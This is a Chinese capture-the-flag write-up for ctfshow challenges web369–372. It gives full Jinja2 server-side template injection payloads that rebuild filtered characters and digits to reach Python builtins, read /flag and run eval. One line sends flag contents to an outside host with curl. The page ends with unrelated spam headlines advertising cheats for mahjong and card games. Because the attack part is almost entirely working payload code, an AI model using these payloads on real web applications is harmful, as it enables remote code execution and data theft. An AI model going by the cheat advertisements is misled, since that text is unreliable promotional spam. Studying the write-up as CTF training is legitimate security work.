ctfshow SSTI注入 web369--web372
创始人
2024-11-14 15:33:39
0次

web369

这把request过滤了,只能自己拼字符了

""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join] 相当于 ""["__class__"] 
举个例子,chr(97) 返回的是字符 'a',因为 97 是小写字母 'a' 的 Unicode 编码值。 ""chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95) 相当于 ""__class__ 
?name= {% set po=dict(po=a,p=a)|join%}          //拼接出pop {% set a=(()|select|string|list)|attr(po)(24)%}         //拼接出_ {% set ini=(a,a,dict(init=a)|join,a,a)|join%}          //拼接出__init__ {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}       //拼接出__globals__ {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}		//拼接出__getitem__ {% set buil=(a,a,dict(builtins=a)|join,a,a)|join()%}		//拼接出__builtins__ {% set x=(x|attr(ini)|attr(glo)|attr(geti))(buil)%}		 {% set chr=x.chr%}		//使用chr类来进行RCE因为等会要ascii转字符 {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}	//拼接出/flag {%print(x.open(file).read())%} 

web370

过滤了数字用全角数字代替半角数字

def half2full(half):     full = ''     for ch in half:         if ord(ch) in range(33, 127):             ch = chr(ord(ch) + 0xfee0)         elif ord(ch) == 32:             ch = chr(0x3000)         else:             pass         full += ch     return full while 1:     t = ''     s = input("输入想要转换的数字字符串:")     for i in s:         t += half2full(i)     print(t) 
?name= {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(24)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} {%print(x.open(file).read())%} 

web371

?name= {% set c=(t|count)%}           #拼接出0 {% set cc=(dict(e=a)|join|count)%}         1  {% set ccc=(dict(ee=a)|join|count)%}         2 {% set cccc=(dict(eee=a)|join|count)%}        3 {% set ccccc=(dict(eeee=a)|join|count)%}           4 {% set cccccc=(dict(eeeee=a)|join|count)%}            5  {% set ccccccc=(dict(eeeeee=a)|join|count)%}          6  {% set cccccccc=(dict(eeeeeee=a)|join|count)%}		7	 {% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}		8	 {% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}	9 {% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}	10 {% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}	11 {% set coun=(ccc~ccccc)|int%}    24 {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set cmd= %} {%if x.eval(cmd)%} baozongwi    没影响给自己加个标签 {%endif%} 

cmd

def aaa(t): 	t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int' 	return t s='__import__("os").popen("curl http://xxx:4567?f=`tac /f*`").read()' def ccchr(s): 	t='' 	for i in range(len(s)): 		if i

研究了一下发现只有curl可以用,nc\ping\weget都不可以

web372

发现count被禁用 使用length代替

?name={% set c=(t|length)%}{% set cc=(dict(e=a)|join|length)%}{% set ccc=(dict(ee=a)|join|length)%}{% set cccc=(dict(eee=a)|join|length)%}{% set ccccc=(dict(eeee=a)|join|length)%}{% set cccccc=(dict(eeeee=a)|join|length)%}{% set ccccccc=(dict(eeeeee=a)|join|length)%}{% set cccccccc=(dict(eeeeeee=a)|join|length)%}{% set ccccccccc=(dict(eeeeeeee=a)|join|length)%}{% set cccccccccc=(dict(eeeeeeeee=a)|join|length)%}{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|length)%}{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|length)%}{% set coun=(ccc~ccccc)|int%}{% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(coun)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set cmd=  %}{%if x.eval(cmd)%}{%endif%} 

拓展知识,与本题无关
半角字符改全角字符

半角字符:包和bao123  全角字符:包和bao123有点看不出来,就看这个bao123 
def half2full(half):       full = ''       for ch in half:           if ord(ch) in range(33, 127):               ch = chr(ord(ch) + 0xfee0)           elif ord(ch) == 32:               ch = chr(0x3000)           else:               pass           full += ch       return full   t='' s="bao" for i in s:     t+='\''+half2full(i)+'\',' print(t) 

相关内容

热门资讯

最新技巧透视挂方法!打两圈兴化... 最新技巧透视挂方法!打两圈兴化麻将多功能透视挂方法,打两圈兴化麻将总是是有透视挂方法一、打两圈兴化麻...
一分钟了解透视办法!星火燎原多... 一分钟了解透视办法!星火燎原多功能透视教程,星火燎原一贯真的是有辅助教程进入游戏-大厅左侧-新手福利...
发现一款作弊器攻略!奉化冲刺多... 发现一款作弊器攻略!奉化冲刺多功能作弊器攻略,奉化冲刺其实有作弊器攻略运奉化冲刺辅助工具,进入游戏界...
教学盘点透视挂资料!1号娱乐多... 教学盘点透视挂资料!1号娱乐多功能透视挂软件,1号娱乐果然真的有辅助软件1、1号娱乐免费脚本咨询教程...
让我来分享经验外挂方法!良人麻... 让我来分享经验外挂方法!良人麻将多功能外挂方法,良人麻将一直真的有外挂方法1、让我来分享经验外挂方法...
玩家必看科普透视挂手筋!微壳字... 玩家必看科普透视挂手筋!微壳字牌多功能透视挂软件,微壳字牌确实真的有辅助软件1、微壳字牌公共底牌简单...
查到实测辅助外挂技巧!彩虹沁阳... 查到实测辅助外挂技巧!彩虹沁阳麻将多功能外挂技巧,彩虹沁阳麻将其实是有外挂技巧1、全新机制【彩虹沁阳...
有了最新消息开挂窍门!众娱麻将... 有了最新消息开挂窍门!众娱麻将多功能开挂教程,众娱麻将原来是有辅助教程1、上手简单,内置详细流程视频...
实测交流开挂技巧!掌上约牌多功... 实测交流开挂技巧!掌上约牌多功能开挂技巧,掌上约牌总是真的有开挂技巧掌上约牌透视方法中分为三种模型:...
查到实测辅助透视绝活儿!17麻... 查到实测辅助透视绝活儿!17麻将多功能透视app,17麻将竟然是真的有辅助app1、操作简单,无需1...